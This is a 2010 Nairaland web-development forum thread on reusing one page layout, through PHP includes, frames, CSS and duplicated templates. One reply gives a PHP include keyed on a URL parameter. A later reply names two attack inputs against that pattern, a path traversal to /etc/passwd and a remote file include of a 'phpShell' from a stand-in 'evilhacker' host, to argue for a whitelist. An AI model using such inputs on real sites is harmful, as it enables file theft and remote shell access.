Stats: 3,188,963 members, 7,936,082 topics. Date: Friday, 30 August 2024 at 11:57 PM |
Nairaland Forum / Science/Technology / Webmasters / Help With This! (1418 Views)
Help With This! by iGuru1(m): 12:36pm On Nov 18, 2010 |
HEllo house, I have a problem with my website, I finished designing my layout(indexpage), all i want to do is if i click on another page, lets say contact us; i want it to still appear with the layout design of the index page. That is when i click a page, i want it to load with the same layout design i use in the index page. I don't want to rewrite the code twice. |
Re: Help With This! by DualCore1: 12:53pm On Nov 18, 2010 |
This is where you can make use of php includes. Let me break it down as simple as I possibly can, under this hot sun. <div id="container"> <div id="header"></div> <div id="navigation_bar"> <ul> <li><a href="?page=home">Home</a></li> <li><a href="?page=contact">Contact</a></li> <li><a href="?page=services">Services</a></li> <ul> </div> <div id="content"> <?php //if the get request carries "home" as value if($_GET['page']=="home" ![]() include('pages/home.php'); } //if the get request carries "contact" as value elseif($_GET['page']=="contact" ![]() include('pages/contact.php'); } //if the get request carries "services" as value elseif($_GET['page']=="services" ![]() include('pages/services.php'); } //if there is not get page request, that means the url was just typed then it should be the homepage that should display. by default this will be the page to be displayed else{ include('pages/home.php'); } ?> </div> </div> The above will work based on the following assupmtions. 1. the files contact.php, home.php and services.php are in a child directory of the index page called "pages" 2. You have put all the dynamic content of the home page in home.php 3. You have put all the dynamic content for the contact page in contact.php 4. You have put all the dynamic content for the services page in services.php 4. You have a fair knowledge of PHP 5. You run your project on a local web server. Personally I use WAMP. In place of the if/else collabo, you can use the switch/case collabo also. |
Re: Help With This! by afrobaby(f): 1:07pm On Nov 18, 2010 |
dual, i sent u a mail now, pls respond, thx |
Re: Help With This! by iGuru1(m): 1:37pm On Nov 18, 2010 |
@dual core I dont have knowledge of php. |
Re: Help With This! by nitation(m): 2:23pm On Nov 18, 2010 |
@Poster, Rather go with frameset. You create a top frame and include the body throughout your webpage. |
Re: Help With This! by DualCore1: 2:41pm On Nov 18, 2010 |
afrobaby:I have replied. P.S for donpuzo and *dhtml: Just so there's no confusion, its what you are thinking! Yeap acceptance to a steaming hot date. Now is the time to cry boys! ![]() i-Guru:Won't hurt to learn it ![]() Try Nitation's suggestion above. |
Re: Help With This! by afrobaby(f): 3:20pm On Nov 18, 2010 |
dual core, dual core, dual core, ow many times did I call u, am waiting on ymessenger for u o, lol |
Re: Help With This! by Slyr0x: 3:45pm On Nov 18, 2010 |
afrobaby: ![]() ![]() |
Re: Help With This! by DualCore1: 4:00pm On Nov 18, 2010 |
She's so dangerous, I cant shout. If I dont make it back here in 24 hours, una know who to hold. Slyr0x pls reply my reply to your mail. lol |
Re: Help With This! by leo2009(m): 10:46am On Nov 19, 2010 |
@dual core, pls which ebook do you recommend for PHP learning, and can i get a download link, plsssss, oakspatrice@yahoo.com |
Re: Help With This! by Afam4eva(m): 10:59am On Nov 19, 2010 |
Dual Core: The downside of this code is that search engines will only be able to see the index page. Which is not good for SEO. |
Re: Help With This! by yawatide(f): 11:12am On Nov 19, 2010 |
THe code from reply #1 isn't advised from a security perspective. Why not just use regular, say, 5-page layout? |
Re: Help With This! by Slyr0x: 5:32pm On Nov 20, 2010 |
yawa-ti-de: +1. Especially if iTell it to include GET ?page=. . ./. . ./. . ./. . ./ . . ./etc/passwd OR GET ?page=http://evilhacker.com/phpShell.txt%00 Best way to do that is $action = array('home', 'contact', 'services'); $page = $_GET['page']; if (! in_array($page, $action) $page = 'error'; include($page . "php" ![]() This will prohibit the application from including any page other than home.php, contact.php, services.php and error.php. [size=4pt]Runs out before DC sees me. ![]() |
Re: Help With This! by DualCore1: 6:33pm On Nov 20, 2010 |
I don't seem to get how my method is a security risk. slyr0x, dont run! come back here!! LoL, Bro I need you to try breaking saharabet.com with the above methods (and no, I am not turning down my firewall this time ![]() |
Re: Help With This! by nitation(m): 6:38pm On Nov 21, 2010 |
Is it only my connection? I think saharabet.com is down. Please help |
Re: Help With This! by nitation(m): 9:12am On Nov 22, 2010 |
is running now. Thanks |
Re: Help With This! by bug24(m): 2:38pm On Nov 22, 2010 |
i-Guru: This people will just break ur head with complex PHP thangs, better do iframe or if you cant, then turn to a dummy style, SAVE YOUR INDEX PAGE AS about.html. once you are done workin on about, save and then save as the next page.html But using includes wulda been realy best for u cos of updating. safe. |
Re: Help With This! by mikkytrio(m): 1:44pm On Nov 26, 2010 |
Why is everyone refusing to tell the lad to use css to cascade all files with one design, then include the cssFileName.css to all his pages. |
Re: Help With This! by yawatide(f): 4:13pm On Nov 26, 2010 |
because sooner or later, we knew you would tell the OP to do just that ![]() |
Re: Help With This! by mastere3: 4:59pm On Nov 26, 2010 |
@postere This guys are advicing u from the angle of web development and programming and that may confuse u and slow down ur learning process. Forget PHP for the now and focus on mastering page layout using HTML, CSS and authoring tools such as Microsoft frontpage or Dreamweaver. Those PHP stuffs are for application development not web site design. The stage u are now from look of things is for you to master web design, graphics and layout design and then move to PHP development. My advice Since u have created an index page that carries the kind of layout u want, why don resave the index page to let say about.html and edit the elements in it to suit an about page. You may want to do so for other pages. My best regards |
Re: Help With This! by bug24(m): 7:49pm On Nov 26, 2010 |
master-e: Ehen? oncurr, repetee i tot i mentioned something like this already. ![]() |
Re: Help With This! by DualCore1: 5:18am On Nov 27, 2010 |
bug24:You did, as a web developer! So it didnt count. hehehehe master-e:I'm sorry if I caused any confusion. I totally forgot to take his background into consideration. Let me talk from a designer's point of view and in adition to the posts above. Seperate layout (css) from content (html). Everything that has to do with the looks, color, position, spacing e.t.c should be done in CSS (try to use a single external stylesheet). Let HTML do the presentation of content. For "global" parts of your site, be sure to put their CSS in the single stylesheet. By "global" I mean the part that is consistent across your entire design. Start with drawing up your entire layout to at least 80% completion before adding any textual/graphical content anywhere in the containers that change across pages. Once done, duplicate the file and call it your "template.html". Now get to work and duplicate the template for every page needed. I see this as the most effective non-web dev approach to this as it wont be too difficult to make a common change across all the pages of a site. God be with you if you have 100 pages and you dont follow this approach. ![]() |
Re: Help With This! by bug24(m): 7:43am On Nov 27, 2010 |
DC, i know u posted on this thread but ur enemy (BoT) has eaten it up. lol |
Re: Help With This! by DualCore1: 10:30am On Nov 28, 2010 |
no mind the thing and him papa. |
(1) (Reply)
Web Developer Needed! / No Need To Buy Phone Numbers! Generate As Many Phone Numbers As You Can Dream Of / Mtn Data Plans That Will Wow You
(Go Up)
Sections: politics (1) business autos (1) jobs (1) career education (1) romance computers phones travel sports fashion health religion celebs tv-movies music-radio literature webmasters programming techmarket Links: (1) (2) (3) (4) (5) (6) (7) (8) (9) (10) Nairaland - Copyright © 2005 - 2024 Oluwaseun Osewa. All rights reserved. See How To Advertise. 40 |